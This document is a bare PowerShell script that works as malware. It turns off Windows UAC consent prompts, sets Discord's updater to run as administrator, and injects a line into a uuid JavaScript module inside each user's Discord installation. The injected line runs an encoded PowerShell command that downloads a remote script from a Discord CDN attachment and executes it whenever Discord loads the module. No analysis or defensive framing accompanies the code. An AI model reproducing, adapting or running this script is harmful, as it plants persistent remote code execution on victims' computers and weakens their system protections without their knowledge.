Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" -Name "ConsentPromptBehaviorAdmin" -Value 0 -Type DWord; $exe = "$env:LOCALAPPDATA\Discord\Update.exe"; New-ItemProperty -Path "HKCU:\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Layers" -Name $exe -Value "RUNASADMIN" -PropertyType String -Force; $payload_line = "const { exec } = require('child_process'); exec(``powershell -EncodedCommand `${Buffer.from(`"irm 'https://cdn.discordapp.com/attachments/1521776561047605298/1527261978362642462/bullshit.ps1?ex=6a5a050e&is=6a58b38e&hm=2310a2388b3199de5d043f94482fb0b41dd55cf7b37baa09e4f5356c1135200b&' | iex`", 'utf16le').toString('base64')}``, () => {})"; $user_profiles = Get-ItemProperty 'HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList\*' | Where-Object { $_.ProfileImagePath -like 'C:\Users\*' } | Select-Object ProfileImagePath, PSChildName; foreach ($profile in $user_profiles) { $user_path = $profile.ProfileImagePath; $discord_root = Join-Path $user_path "AppData\Local\Discord"; if (Test-Path $discord_root) { $version_folder = Get-ChildItem -Path $discord_root -Directory -Filter "app-*" -ErrorAction SilentlyContinue; if ($version_folder) { $latest_folder = $version_folder | Sort-Object Name -Descending | Select-Object -First 1; $target_js_file = Join-Path $latest_folder.FullName "modules\discord_notifications-1\discord_notifications\node_modules\uuid\dist\cjs\index.js"; if (Test-Path $target_js_file) { $file_content = Get-Content -Path $target_js_file -Raw; if ($file_content -match "powershell") { } else { Add-Content -Path $target_js_file -Value "`n$payload_line" } } } } }